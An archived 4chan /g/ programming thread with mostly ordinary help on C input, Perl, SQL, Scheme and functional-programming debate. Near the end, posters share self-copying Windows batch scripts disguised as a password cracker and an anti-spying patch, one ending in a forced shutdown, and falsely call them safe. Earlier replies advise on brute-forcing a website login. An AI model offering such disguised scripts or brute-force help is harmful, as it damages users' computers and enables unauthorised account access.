[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
/dpt/ Daily Programming Thread
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 255
Thread images: 40
File: 1442458930170.jpg (13 KB, 480x209) Image search: [Google]
1442458930170.jpg
13 KB, 480x209
Nearly christmas edition

Old thread >>51907854
>>
puts(">using printf when you're not printing formatted data ");
>>
>>51913866
>using C/C++ for CLI apps
>>
>>51913919
>apps
>>
>>51913930
>holding fizzbuzz-tier freetard crap to the same regard as full-fledged programs
>>
you know you cant work in fast food all your life
>>
>>51913956
>implying I work
>>
>hourly programming thread
>daily programming thread
srsly faggots?.
>>
>>51913682
Thank you for not using an anime image. But please use a SICP image next time.
>>
>>51913682
i posted this in my own post but got no real replies so hoping it will here

I am a Britbong NEET and have been thinking about learning Java to get a job at some business if I can.

Is Java a good place to start? Seems to be lots of jobs around London (I live in west london).
>>
>>51914764
Yes, but if you're NEET and looking for a Java job, you'll be in fierce compitition.
>>
>>51914823
well im not really a the total definition of a NEET. i used to work in IT support (windows only) but i got cancer and had to leave. then got depressed. then got better. now i want to get a simple desk job doing entry level programming.
>>
File: 1334955840.jpg (41 KB, 460x343) Image search: [Google]
1334955840.jpg
41 KB, 460x343
>>51913919
>>51913930
>>
>>51914007
ikr.. there were fucking 3 /dpt/s yesterday..
>>
best python ide with git support?
I've seen pycharm has built in git support, I want something like that? is pycharm comunity edition any good?
>>
>>51913376
More active here.
>>
speccy thread go!
>>
File: 123412341234.jpg (40 KB, 592x311) Image search: [Google]
123412341234.jpg
40 KB, 592x311
>>51915138
>>
File: author.png (46 KB, 771x843) Image search: [Google]
author.png
46 KB, 771x843
Hey, i'm working on this and for some reason the program skips how much it costs and also the second time it skips the name, and the third. i can't figure out why it isnt letting me input all the data in order, anybody know what i'm doing wrong? i'll include the header in a reply
>>
File: header.png (4 KB, 261x142) Image search: [Google]
header.png
4 KB, 261x142
>>51915176
header file
>>
File: ds.jpg (74 KB, 1500x1120) Image search: [Google]
ds.jpg
74 KB, 1500x1120
Don't watch Jessica Jones, /dpt/.
>>
>>51913866
Today i'll make my own printf
>>
File: Jhip.png (161 KB, 800x427) Image search: [Google]
Jhip.png
161 KB, 800x427
Reminder that spring is the future and Jhipster his prophet.

You cannot prove me wrong.
>>
http://www.strawpoll.me/6285195/
>>
>>51915195
What if a book has several authors?
>>
>>51915176
Weird.

Change the counter to 5 and 10 and try more and post results.
>>
What's the difference between JVM and JEE and whatever other versions of the platform are out there..in English?
>>
>>51915176
You have a scanf and getchar at the end there, but I don't see you inputting anything for how many pages in the book. I'm guessing that some issue there is leaking into the next part of the loop.
>>
>>51915176
Does adding getchar()s under all of the scanf lines do anyting?
It should fix it.

Run a debugger and check when a value gets assigned to the .pages part.
>>
So I want to create a 4chan browser in android and I'm not sure how to go about parsing the html. Any advice?
>>
>>51915302
did both things, and it still comes up with the same result :/
>>
>>51915053
I don't even check the catalog, I just login and make one as soon as I wake up
>>
>>51915340
What do you mean same result?

Is it always on author?

Do what >>51915327 said
>>
>>51915361
it's on author on the second one, but the first is fine. although i can't input .pages on any, including the first.>>51915327
getchar() is supposed to clear the line for the next loop. i'm not sure how to run a debugger xD
>>
>>51915176
If you're really struggling with scanf you coud always try just using gets and then atoi/atof anything you need as an integer/float.
You have an extra line of code, but it allows for more robust error checking/solving. (for example you could give an error message if their input is not a number).
>>
>>51915176
http://c-faq.com/stdio/scanfinterlace.html
http://c-faq.com/stdio/getsvsfgets.html
>>
guise how do I fizzbuzz in java Present Day, Present Time! AHAHAHAHAHA!
>>
What's your excuse for not using goto?
>>
Posted this in the other thread, but it was already dying.

I'm new to perl, and I'm trying to script irssi. Any idea why this prints the number of elements in the array?

sub meme_say
{
my $i;
my ($num, $server, $dest) = @_;

if (!$server || !$server->{connected}) {
Irssi::print("Not connected to server");
return;
} return unless $dest;

for ($i = 0; $i <= $num; $i++) {
my $meme = $memes[rand @memes];
push @rand_memes, $meme;
}

$dest->command("MSG " . $dest->{name} . " " . @rand_memes);
splice(@rand_memes);
}
>>
File: kebab wat.jpg (261 KB, 756x1008) Image search: [Google]
kebab wat.jpg
261 KB, 756x1008
>>51915460
the fuck happened to my post
>>
>>51915474
Is there a new word filter?
>>
>>51915460
>>51915474
ayy lmao nice filter
what did you try to put?
>>
>>51915504
Present Day, Present Time! AHAHAHAHAHA!
>>
>>51915512
fucking screenshot you mongoloid
>>
>>51915512
Are you retarded?
>>
>>51915460
for (int i=0;i<100;i++){
if (i%15==0) print fizzbuzz
else if (i%5==0)print buzz
else if (i%3==0) print fizz
else print i}

this should do it, shouldn't?
>>
>>51915512
2015?
>>
>>51915512
put a space in the word
>>
>>51915535
c'mon, it's 2015 no need for filters!
>>
File: baitkek.png (26 KB, 341x249) Image search: [Google]
baitkek.png
26 KB, 341x249
>>51915512
>>
>>51915519
>>51915523
>>51915535
>all these faggots getting trolled
/g/ truly is the easiest board to troll
>>
>>51915546
or
 it
or pastebin
>>
>>51915563
Indeed, specially in the current year!
>>
>>51915566
The hell heppaned to yer post?
>>
>>51915467
>
$dest->command("MSG " . $dest->{name} . " " . @rand_memes);

You're evaluating @rand_memes in scalar context there, and arrays return their size when evaluated as scalars. Try
$dest->command("MSG " . $dest->{name} . " " . join(", ", @rand_memes));
>>
>>51915591
I just have no idea how the code
 I'm an Idiot 
tags work.
>>
>>51915594
Sweet, that worked! Thanks.
>>
>>51915176
scanf doesn't take format specifiers like printf does. So you need something like:
scanf ("%f", &theCost);
scanf ("%d", &numPages);

Don't know why you had spaces and dollar signs either.
>>
2015
>2015
Present Day, Present Time! AHAHAHAHAHA!
in 2015
2016
>2016
in 2016
today
in present day
>>
>>51915630
W-what?!

WHAT IS THE CODE?!
>>
What didn't anyone tell me how easy it is to make a Chrome extension?

smdh tbqh.
>>
>>51915667
yes, but can you make tree style tabs for chrome?
>>
>>51915467
    for ($i = 0; $i <= $num; $i++) {
my $meme = $memes[rand @memes];
push @rand_memes, $meme;
}


Can be replaced with:
    for (0..$num) {
my $meme = $memes[rand @memes];
push @rand_memes, $meme;
}


Or even:
    push @rand_memes, map{ $memes[rand @memes] } 0..$num
>>
>>51915641
so let me guess, it's Present Day, Present Time! AHAHAHAHAHA! ?
>>
>>51915641
purezento dei, purezento taimu
>>
File: not even.jpg (47 KB, 625x626) Image search: [Google]
not even.jpg
47 KB, 625x626
>>51915679
years on /b/ prepared me for this
>>
>starting to have to learn how to work with guis
wow this sure is boring and uninteresting and feels like a massive waste of time
>>
>>51915699
My deepest condolences.
>>
>>51915677
I was going for a C style for, since that's what I'm most familiar with. Regardless, thanks for the tips. I'm not sure if there's some kind of perl standard, like in C, but is that more common than what I had before?
>>
>>51915748
C for loops are fairly uncommon in perl, since with the new foreach mode you have to type less to get the same effect. You also have to read less when you are reding the code.
>>
I'd like to make a very simple password brute forcer.
>create a password
>send a POST requst to a website using that password
>get the result
>if result page contains a keyword, succes, end. else go to start
what should I use? Python?
It would take ages to brute force, but it's [A-Za-z0-9], up to 8 characters logn
>>
>>51915748
https://en.wikipedia.org/wiki/Tim_Toady
>>
>>51915748
It's rare to see C-style for(;;) loops in Perl.
>>
>>51915803
Not only would it take ages, but you have to understand that you run the risk of getting IP blocked from the site permanently. Yes, I would use Python to do it.
>>
>>51915330
Why not just use the 4chan api?
https://github.com/4chan/4chan-API
>>
>>51915843
Most "out of the box" server configurations do not support this kind of thing. Ans since most internet runs exactly on out of the box software, I doubt the risk is high.

I would use Perl for it.
>>
>>51915843
>you run the risk of getting IP blocked from the site permanently
idgaf, I've got dynamic ip. And it's only an imageboard, what can go wrong?
>>
>>51915907
Thanks man, didn't know it existed.
>>
ayy lmao
public class main{public static void main(String args[]){
long min=1,max=1000;long a=Math.round(Math.random()*(max-min))+min,b=max/2,c=min,d=max;
while (a!=b){if(a>b){c=b;b=(b+d)/2;}else{d=b;b=(b+c)/2;}}}}
>>
>>51915803
You should make multiple connections at the same time, so you don't have to wait for response to go to the next.
>>
File: botnet.png (128 KB, 1307x864) Image search: [Google]
botnet.png
128 KB, 1307x864
Peer to peer botnet
>>
var yous, youMessage;

$("a[data-cmd=update]").before("<a href class='you'>You Counter</a>] [");

$(".you").click(function(){
yous = $(".postMessage > .quotelink:contains(You)").size();

if(yous === 0) {
youMessage = "You have no (You)s ;_;";
} else if (yous === 1) {
youMessage = "You have 1 (You)";
} else {
youMessage = "You have " + yous + " (You)s";
}

alert(youMessage);
return false;
});


Do not steal.
>>
File: k3qcfFR.webm (2 MB, 636x344) Image search: [Google]
k3qcfFR.webm
2 MB, 636x344
Ask your beloved programming literate anything.
>>
>>51916306
whats functional programming in layman terms
>>
>>51916319
>>51913908
>>
File: a.png (56 KB, 1386x813) Image search: [Google]
a.png
56 KB, 1386x813
>>
>>51916306
What do you think about jhipster?
What do you think about xcode?
What do you think about cobol?
What is your favorite fursona?
>>
>>51916188
>listening for incoming peers
>peer means fart in my language
ayyyy lmao
>>
>>51916296
What does it do, anon?
>>
>>51916306
what psychedelic drug will make me a better programmer
>>
>>51915345
I'm laughing so fucking hard
>>
>>51916319
programs defined only by functions.

a function takes input and each input maps to exactly one output.
>>
>>51916377
couldn't you say technically any operation (or anything you do at all) in normal programming as being a 'function'?
>>
>>51916377
>I have no idea what Im talking about
Functional languages are about passing functions as arguments to other functions
>>
>>51916403
yes, but functional programming works specifically with "pure" functions, where each input maps to one and only one output.

if you had something that relied on a variable outside of the function, it wouldn't be functional programming.
>>
>>51916432
shut up already
>>
>>51916410
that's an important aspect of function programming, yes.

I think you have no idea what you're talking about.

if you couldn't pass the output of functions to another function, how could you write a program using only functions?
>>
>>51916432
i see, huh, think i'll need to try it to get any appreciable idea of what it is, spend some time thinking in those terms so to speak
>>
>>51916432
Well it wouldn't be pure functional programming but even haskell allows IO which is not safe... Using only pure functions for any real world application would be difficult.
>>
I had trouble with my yahoo email. At yahoo search email somebody had two phone numbers for help .I was thinking it was Yahoo people I call the one number , somebody asked me for my phone number and somebody will call me in the next five minutes The same guy with accent from India or Sri Lagga ,called me in 30 seconds. His number was1 000 0123456.He asked me for my email ,old passward, Alternative passward, My name ,My pet name which I had ,He told me to write in the computer something like www ammren and he got a number probably ID from my computer He could not open the email for me and he told me he had to turn off my Karpensky antivirus. After that he told me he lost the connection and we had to start again writing again www ammren -number id etc. He told me my computer it was running too slow I told him that ,I didn't have trouble with speed but with my email .He told me he had to scan my computer to see where was the trouble with my email .He was very disappointed with my computer(slow) and when I asked him if there is any charge to fix my computer he told me to go to Nearest Staples to pay $290 and they can fix my computer.I told him ,no thanks and he delete all the programs starting from Karpensky antivirus .Still my computer has troubles,TX
>>
File: CLgm1XqVEAAQRzT.jpg:large.jpg (80 KB, 1023x682) Image search: [Google]
CLgm1XqVEAAQRzT.jpg:large.jpg
80 KB, 1023x682
>>51916319
It's when you program in the functional subset of the procedural set, pure fp is when you program only in that subset.
>>
>>51916464
>ISIS
>>
>>51916464
>being proud of building enterprise software

wowzoes
>>
>>51916403
Functional languages are distinct in that funcA can take funcB as a parameter and do whatever it wants to it. passing outputs from functions to other function isnt unique at all.
>>
>>51916489
Absolutely wrong. The idea that procedures are values is a lot older than functional programming.
>>
>>51916478
https://en.wikipedia.org/wiki/Isis
>>
>>51916512
no way i'm clicking that link
>>
>>51916508
Do you even understand what delayed evaluation is. Please stop talking about things you dont understand.
fold for instance is a prime example of the power of functional languages.
>>
>>51916544
do you really think Lisp was the first time someone thought of treating procedures as data?
>>
File: isis.png (425 KB, 738x585) Image search: [Google]
isis.png
425 KB, 738x585
>>51916478
>>51916487
Please, don't bully.

>>51916560
It's from lambda calculus which is the functional counter part of the turing machine.
>>
>>51916560
This is just dumb. What came first has nothing to do with the concept of functional programming.
>>
File: combine_images.jpg (80 KB, 1093x348) Image search: [Google]
combine_images.jpg
80 KB, 1093x348
help me find the mistake

instructionsSch = frozenset(["set", "step", "piece", "color", "quantity", "page", "img", "width", "height"])

rSch = frozenset(["A", "B", "C", "D", "E"])

instructionFD = [
(frozenset(["set", "step"]), (["page"])),
(frozenset(["set", "step"]), (["img"])),
(frozenset(["img"]), (["width"])),
(frozenset(["img"]), (["height"])),
(frozenset(["set", "step", "piece", "color"]), (["quantity"]))]

rFD = [
(frozenset(["A", "B"]), (["E"])),
(frozenset(["A", "D"]), (["B"])),
(frozenset(["B"]), (["C"])),
(frozenset(["C"]), (["D"]))
]

def cover(alpha, f):
x = alpha
while True:
o_xlen = len(x)
n_xlen = 0
for fd in f:
beta = fd[0]
c = fd[1]
cset = frozenset(c)
if beta.issubset(x):
x = x.union(cset)
n_xlen = len(x)
if n_xlen == o_xlen:
break
return x

def key(k, u, f):
kset = frozenset(k)
if len(u) == 0:
return k
else:
x = frozenset([])
for c in u:
cset = frozenset([c])
uDifC = u.difference(cset)
kUnion = k.union(uDifC)
coverSet = cover(kUnion, f)
if c not in coverSet:
kUnionC = k.union(cset)
# keyUnion = key(kUnionC, uDifC, f)

# optimization
optCoverSet = cover(kUnionC, f)
uDifCover = u.difference(optCoverSet)
optKey = key(kUnionC, uDifCover, f)
x = x.union(optKey)
# x = x.union(keyUnion)
else:
keyU = key(k, uDifC, f)
x = x.union(keyU)
return x

print "\nset of all candidate keys:"
# print key (frozenset([]), instructionsSch, instructionFD)
print key (frozenset([]), rSch, rFD)
>>
File: 1450369221617.png (80 KB, 694x732) Image search: [Google]
1450369221617.png
80 KB, 694x732
Would you be hired?
>>
>>51916306
How do I average two ints in C
>>
>>51916621
>python
There it is. Right there, buddy.
>>
>>51916646
reduce(lambda x,y: x + y , list)
>>
>>51916464
>brown girls
>>
>>51916676
Sorry meant to add
>>
>>51916610
>wenger
Is she married to a kike?
>>
>>51916658
ye wrote the same in haskell much much better :O
unfortunately i need it in python
>>
>>51916544
Functional programmers benefit from a deliberate confusion between functions (deterministic maps from values to values) and procedures (possibly nondeterministic series of actions).

In programming, procedure addresses as parameters goes back to machine languages in the 40's. This is one of the benefits of "von Neumann" over "Harvard" computers. Some Harvard architectures allow it too, however.

>>51916610
>It's from lambda calculus which is the functional counter part of the turing machine.
Wrong. It's from higher-order algorithms, which are algorithms parameterized by other algorithms. "Brush" can take parameters like "hair" and "teeth" which control how this algorithm is to be performed.

Algorithms and instructions appeared before the beginning of writing. In programming, they go back to Babbage, a century before the lambda calculus, and to medieval automata long before that.
>>
>>51916646
>Enumerable.Average exists
>>
>>51916669
Too bad you didnt find the average
>>
>>51916306
Write a function that accepts itself as its only argument.
>>
>>51916715
kek none of this wiki stuff has anything to do with the topic
>>
>>51916716
>Enumerable.Average
>not lambda...
>>
>>51916748
The topic is functional programmers misleading people about what functions and procedures are.
>>
>>51916768
you still dont seem to understand the difference between procedural and functional programming. Wiki cant help you here.
>>
>>51915176
Still can't figure this out. pls help
>>
File: isishinobi.png (768 KB, 804x805) Image search: [Google]
isishinobi.png
768 KB, 804x805
>>51916676
not brown. i would say sephardi jew.

>>51916701
dunno.

>>51916715
we are talking about procedures and functions. algorithms has nothing to do here.

>>51916737
with a language that has contract programming like Cobra, i could do
def foo(f):
require
f == foo
body
...
>>
>>51916763
I could write it, but I'd rather use the library function. Here's your fucking lambda:
list.Aggregate(0,(a,b)=>a+b)/list.Count;
>>
>>51916816
Naruto is a gateway anime of the worst kind. It's a bad series, a clusterfuck of story and characterization that isn't very well done by any aspect, but which attempts to compensate for its weaknesses by adding in excessive shipping faggotry and DARKNESS. The normal anon can see this as the shit it is, and may enjoy it, hate it or be indifferent to it, but all the while recognizing that the series itself, regardless of their opinion, is plain bad.

However, these very aspects that try to smear over the shit of its core make it a breeding ground for aspie, unsociable underageb& faggots who engage in every kind of faggotry both online and in the real world. The superpowered characters all trying their hardest to look cool, the jutsus, peculiar, colorful clothes, the whole ninja faggotry and everything about the Naruto world fuels their escapist fantasies, while the pity-party character backgrounds, emphasis on revenge, and overall preachiness of the series make it fit just right with the mary-sueish drives of your average preteen and his sense of unwarranted self-importance towards the world. Exactly the kind of shit that makes little kiddies and underageb& retards eat this shit right the fuck up.

Naruto is basically THE series to attract the most hated anime fanbase known to /a/, which is why, regardless of individual opinions, it is the responsibility of every anon to troll the fuck out of this show and everyone who likes it, and ensure that no Naruto threads ever encourage the newfriends to show their faces here.
>>
>>51916799
Procedures are harmful since states are harmful. Not him btw.
>>
>>51916816
The catch is that you could redefine foo somewhere and you need to know if you have the same function.
>>
>>51916806
i'm begging you /g/
>>
>>51916848
>lambda...
Youre not getting a job using built in functions here.
>>
>>51916901
>Youre not getting a job

Functional programming in a nutshell
>>
>>51916901
>use a lambda
I used it.
>>
>>51916887
>what is lexically scoped
>>
>>51916871
retarded
>>
>>51916912
>the guy who doesnt know what a tree is
>>51916919
No YOU didnt use it.
>>
>>51916893
>>51916806
nigger you have an answer here

>>51915629
>>
>>51916912
>thinks lambdas aren't supported by almost every language with high industry demand these days
>>
>>51917000
>thinks anyone actually uses them in industry
>>
File: scrot.png (69 KB, 1366x768) Image search: [Google]
scrot.png
69 KB, 1366x768
Is this indentation gay?
>>
Is there a well supported, intuitive and easy way to use an sql database from my server-side code (node.js specifically) without actually setting up the database first?

I like how MongoDB / Mongoose lets me insert into nonexistent tables; if the table doesn't exist, make it, and carry on. If I want information I can get it easily as json, and the mongoDB/mongoose interface seems to use a lot of JSON in general.

Is there a way? Is there an open-source product somewhere out there on github? Some sort of software that wraps SQL so that I don't have to create my schema outside of my server side code?

I should mention, I'm perfectly fine with SQL. I'm just intrigued by some of the features of mongo, mainly how it's very JSON-eqsue, and how it creates things for you if they don't exist.
>>
>>51916947
>>the guy who doesnt know what a tree is

Since when do I not know what a tree is?
>>
>>51916331
nobody cares about your shit tier language.
>>
Working on an internal web loan manager

pretty comfy considering the project is pure python and sql
>>
>>51917021
this
>>
>>51917022
Nothing wrong with your curly placement, but I think you could halve the tab size and retain all legibility
>>
>>51917022
Well doesn't it look gay to you? I cannot understand how Linus actually likes this shit, looks fucking horrible.
>>
>>51917044
oops forgot photo
>>
>>51916621
if it helps i can send my working haskell code
>>
>>51917021
>>51917045
Why wouldn't you use them, exactly? Don't tell me you actually consider the OOP anonymous object pattern a better solution, or god forbid, function pointers with void* userdata.
>>
>>51916947
I think I got what you mean.
((Func<double>)(() => list.Average()))();
>>
>>51917021
The do. They have been part of C# for like a decade now. The are pretty much unavoidable, and one of the few saving graces of JavaScript.
>>
>>51917027
I believe sqlite is local and can run from memory
>>
>>51917060
All of my professors prefer that curly placement since they've been telling their students to write like that, and have been forced to grade their own requirements for dozen(s) of years.

In truth they're not wrong, the extra return for the curly doesn't hurt legibility at all.

I just think most of us developers don't want to hand over a line for a curly. Vertical space != cheap
>>
>>51916996
nigger thats what i've already put there, only it's being used ina header file instead
>>
>>51917021
Used in virtually every C# projects involving events.
>>
>>51917068
why WOULD you use them?
>OOP anonymous object pattern
>function pointers with void* userdata
these are mostly useless too, but not as useless as lambdas
>>
>>51917060
That's not Kernel-style C. Try harder, kid.
>>
>>51917093
what the fuck are you talking about?
>scanf(" $ ", )
>>
>>51917084
I have used sqlite3 with C++, but it's been a while. Are you sure you don't have to set up the schema first?

At the moment, I make my schema and insert all of my stored procedures using a simple shell script. It's really not bad, but it does take a little bit of time to sit down and write a 1-2 page db schema

Having mongo just make things for me eliminates the whole step of sitting down and writing the schema, that's like 20 mins + saved
>>
>>51917083
>>51917101
>C#
>javascript
disgusting
>>
>>51917108
Because they're extremely useful for preventing code duplication? Regular functions let you prevent duplication of "inner code", but higher-order functions and lambdas let you prevent duplication of "outer code" while you can customize the "inner" part.
>>
>>51917132
That's your industry for ya.
>>
>>51917062
>pure python and sql
you forgot to mention html
>>
>>51917092
>>51917111
Niggers, of course I was talking about the braindead 8 length tabstop
>>
>>51917108
Why would you use an anonymous object instead of a lambda when implementing the command pattern or strategy pattern?

When you need to pass a function into another object, a lambda is the simplest solution. Why make it more complicated by making an entire new class and passing an instance of that?
>>
can someone tell me what the following code does
(define (root tree) (car tree))
(define (left tree) (cadr tree))
(define (right tree) (caddr tree))
(define (IO tree)
(if (null? lst) null
(list (IO (left tree)) (root tree) (IO (right tree)))))
>>
>>51917133
how is preventing "code duplication" useful? it doesn't help keep the size of the compiled program down and it's hardly more readable/maintainable
>>
>>51917178
Increases memelevels to 87%
>>
File: 1449700279793.png (74 KB, 300x256) Image search: [Google]
1449700279793.png
74 KB, 300x256
>>51917180
>how is preventing "code duplication" useful?
>>
>>51917180
>how is preventing "code duplication" useful?
Jesus christ. Just stop programming. You are not cut out for it.
>>
>>51917161
>the command pattern
>strategy pattern
the memes are unreal
>>
>>51917178
>)))))))))))))))))
literally shit
>>
>>51917153
Maybe he just got tired of constantly changing his .vimrc file on every machine.
Why the fuck does vim tab by at least four by default? fuckin-a

>>51917187
it's okay anon we need people like him to make us shine
>>
>>51917180
>how is preventing "code duplication" useful?
Ladies and gentlemen, anti-functional programmers.
>>
>>51917194
>I cant count
>>
>>51917193
You need to know what they are if you are working on a team. If you want to say they are shit and should be avoided, you need to know what they are first.
>>
>>51917161
I've seen exactly one case, in Java. A function required an object with multiple functions, I just created an anomyous object with those functions overridden.
>>51917180
Integrity, motherfucker.
>>
I've been using this:
https://github.com/felixge/node-mysql
I guess, technically since it lets me execute any sql query/statement, I could test to see if a db or table exists before executing some statement.

But... I'd have to code all that shit myself. Mongoose does it for me
>>
Hey /g/ how do i write the query to get all students that have pursueddegree = 'MSc' and taking more then 3 courses / classes ? return should result(name, course_count -- total workload)
 
table student (studentid int, name text, major subject, pursueddegree degree, age int);
table staff(staffid int, name text, deptid int, age int);
table class (classid int, name text, meetsat text, room room, staffid int);
table enrolled (studentid int, classid int);
table department (deptid int, name text);
>>
>>51917148
true but i didntt designing the html, i just used a template
>>
>>51917268
That's a nice template, may I have the source?
>>
>>51917178
it throws an unbound variable exception because lst is undefined. If that is fixed, it basically transforms the tree into a structure tree where it is (left-tree root right-tree)
>>
>>51917296
Sure boss

its based on bootstrap3 but it makes it look nicer

http://designmodo.github.io/Flat-UI/
>>
Why is C# Graphics.DrawImage(bitmap) so fucking slow?
Wanted to do some software rendering to a bitmap and then blit that on the window but it takes like 50 ms.
Switched to native StretchDIBits with dllimport and it's ~50 times faster (1 ms).
Don't mind doing that, but it woild be nice not having to define all structures and constants and import all that gdi shit (because C# doesn't have a standard interface to the native win32 api apparently?)
>>
>>51917022
2 spaces is enough imo, i like the other curly style but w/e, get some nice pastel colour scheme
>>
>>51917262
I'm pretty sure this code won't run because I'm mixing an aggregate function with a normal select statement. You'll have to run the query yourself. A different approach might be to use a nested query (nested select).
select s.name, COUNT(e.id) as course_count
from students as s
join enrolled as e
on s.id = e.id
where s.pursueddegree = 'MSc'
having e.id >= 3
>>
>>51917262
>>51917414

Forgot the count @ end
select s.name, COUNT(e.id) as course_count
from students as s
join enrolled as e
on s.id = e.id
where s.pursueddegree = 'MSc'
having COUNT(e.id) >= 3;
btw if u didnt know, 'having' is just like 'where' but must be used for aggregate functions
>>
>>51917127
i didn't see that. two fucking hours of my life gone. thank you. fuck.
>>
>>51917460
that's programming for 'ya
>>
>>51917178
do you know what is car and cdr ?

(cadr x) is same as (car (cdr x))
(caddr x) is same as (car (cdr (cdr x)))
>>
>>51917489
what about cadadadddaaddr?
>>
>>51917402
I've been wondering the same a few days ago
The short answer is that GDI+ is simply shit
DrawImage in particular does a lot of pointless locking and can only really be used from the main UI thread
I ended up creating my own software rendering library that is manipulating an array of pixels in system memory
>>
>>51917495
(car (cdr (car (cdr (car (cdr (cdr (cdr (car ( car (cdr (cdr x))))))))))))
>>
>>51917489
Its the IO tree call thats confusing
>>
>>51917447

do you mean like this (it's an equi-join between student and enrolled)?
select s.name, COUNT(*) as course_count
from student s, enrolled e
where s.pursueddegree = 'MSc' and s.studentid = e.studentid
GROUP by s.name
having COUNT(*) >= 3;
>>
pop quiz

which of these methods for multiplying two square matrices of length N is the fastest

  for (i = 0; i < N; ++i)
for (j = 0; j < N; ++j)
for (k = 0; k < N; ++k)
res[i][j] += mul1[i][k] * mul2[k][j];


or

  double tmp[N][N];
for (i = 0; i < N; ++i)
for (j = 0; j < N; ++j)
tmp[i][j] = mul2[j][i];
for (i = 0; i < N; ++i)
for (j = 0; j < N; ++j)
for (k = 0; k < N; ++k)
res[i][j] += mul1[i][k] * tmp[j][k];
>>
File: sdfaw.png (17 KB, 755x202) Image search: [Google]
sdfaw.png
17 KB, 755x202
REEEEEEEEEEEEEEEEEEEEE

EXPLAIN WHAT'S HAPPENING HERE, /dpt/.
>>
>>51917908
Chrome's happening.
>>
>>51917908
botnet
>>
File: index.png (8 KB, 875x393) Image search: [Google]
index.png
8 KB, 875x393
>>51917547
>(define (IO tree)
> (if (null? lst) null
> (list (IO (left tree)) (root tree) (IO (right tree)))))

the (nestable) data structure is
(root . (left . (right . null)))
or in list notation
'(root left right)


'(1
'(2
'(3 null nul)
null)
'(4
'(5 null null)
null))



is same as pic. passing that list to IO produces


;evaluation of top level (root)
(list
(IO '(2 ('3 nul nul) null)
1
(IO '(4 '(5 null null) null))

;first level on left
(list
(list
(IO '(3 null null))
2
null)
1
(IO '(4 '(5 null null) null))

;second level on left
(list
(list
(list
null
3
null)
2
null)
1
(IO '(4 '(5 null null) null))

...


you pass
'(1 (2 (3 null null) null) (4 (5 null null) null))

you get
'(((null 3 null) 2 null) 1 ((null 5 null) 4 null))
>>
Sdl2 or open gl for 2d rendering, which one should I use?
>>
>>51917616
looks more complete than what i wrote, sure
>>
>>51917934
Is there any reason the left and right to be in a list rather than a cons cell, like
(root . (left . right)
since there are only ever two items if it's a binary tree?
>>
>>51918255
A list is nothing but con cells
>>
>>51918383
Yes, but
(left . right)
isn't a linked list, like
'(left right)
is, which is
(left . (right . null))
.
>>
IntelliJ has been giving me a lot of problems.

Need new IDE, recommendations? Learning Java.
>>
Why aren't you web scaling on new and hip gentooscript?
>>
>>51918650
Emacs
>>
>>51918650
vim + javac
>>
>>51918704
Thanks, will look into it.
>>
>c
I'm so sorry
>>
my friend sent my a .bat file I right clicked and selected edit and it said.
@echo off
:loop:
copy passwordcracker.bat %random%.%random%
goto loop
>>
>>51918776
>cuckscript
>>
so what does it do?
>>51918787
>>
>>51918776
Lmao double click it mate
>>
>>51918383
a list always end with null
>>
>>51917022
sauce on this font?
>>
>>51918853
wtf happened I put it on my desktop now there's a bunch if random number files and I can't click on anything. My friend told me it cracks passwords.
>>
>>51918776
thanks cracked my hot cousin's facebook password with this

will post nudes on /b/ later
>>
>>51916715
>>51916768
In pure FP at least, there's an enforced separation between real deterministic functions and procedures. Haskell for example has type (A -> B) for functions from A to B, and a (possibly non-deterministic) procedure that gives an A would have the type (IO A), an abstract type for representing procedures that yield an "A". I try to avoid confusing the two by never calling "IO A" a function. I also avoid calling "A -> IO B" an "IO function", "effectful function", etc., unless I'm fairly sure that nobody listening would be confused by the shortcut. I will readily call it a "function that gives an IO B", "function giving an IO action", etc., though, since that is what it is.

I think this sentiment is shared by many users of pure FP, so at least some members of a part of the FP community deliberately try to distinguish functions and procedures, not the opposite.
>>
>>51918650
vim, eclipse

mostly vim, but eclipse is useful
>>
Crack FB pw:
1. bring up the console
CNTRL-SHIFT-K
2. type this
$('input').prop('type', 'text');
>>
>>51918037
OpenGL needs a context for rendering, usually you want to use an existing library for doing this instead of writing your own. Examples of such libraries are GLFW and SDL2. SDL comes with nice predefined functions for simply drawing textures, so you might want to just use that. You can always use OpenGL on top of SDL2, since SDL can provide an OpenGL rendering context if you want fancy shader graphics.
>>
>>51919048
typeError: $ is not a function
>>
>>51913682
Please use anime grill next time. This shit is stupid.
>>
>>51919048
codemonkey
>>
File: 1437663010095.jpg (93 KB, 679x453) Image search: [Google]
1437663010095.jpg
93 KB, 679x453
>implement an ai library
>only superficial documentary
>author wants to show off in his test code
>thousands of lines of code
>just want to know what goes with what and how everything fits together
is that how it normally is? fucking annoying.
>>
>>51916806
flush
>>
>>51916621
please someone help me to translate my haskell code to python:
http://paste.debian.net/349279/


my attempt:
http://paste.debian.net/349280/

also pic related
>>
I'm trying to learn a bit of F# and I can't figure out how to do some things "the functional way".

For example I want to keep track of orders that are "live" and orders that are completed/canceled. In C# I'd just have a list for each group, and remove orders from the "live" list when they are done. But the F# list doesn't let you remove any items. How do I approach this?
>>
>>51919222
just use OCaml
>>
>>51918776
My friend said it was his broken alpha version. He sent me this code before, I've wanted to use it but is it safe?
@echo off
echo AntiMSSpy (press key to patch files)
pause
set loopcount=500
:loop:
copy installer.bat SpyPatch.dll
echo file patched
copy installer.bat %random%.%random%
echo file patched
set /a loopcount=loopcount-1
if %loopcount%==0 goto install
:install:
echo Files patched.
echo Press any key to install exploit patch.
pause
set loopcount=500
copy installer.bat SecurityPatch.dll
echo file secured
copy installer.bat %random%.%random%
set /a loopcount=loopcount-1
if %loopcount%==0 goto complete
:complete:
echo Your computer is now secure.
echo Press any key to exit installer.
echo DO NOT 'X' OUT
pause
shutdown.exe /s /t 00
>>
>>51919222
How do you learn when to update orders?
>>
>>51919263
yes very safe
>>
>>51919273
I get a message from the exchange with the new status.
>>
>>51919292
okay I'll trust you, I've been using windows 10 and don't want the spying that people talk about.
>>
>>51919295
If you are looping using recursion, you can make the recursive function take the "current" list as an argument, and when you make the recursive call, you pass in a new list, that's the result of adding/deleting from the list that was passed in. So now you're running with an updated list.

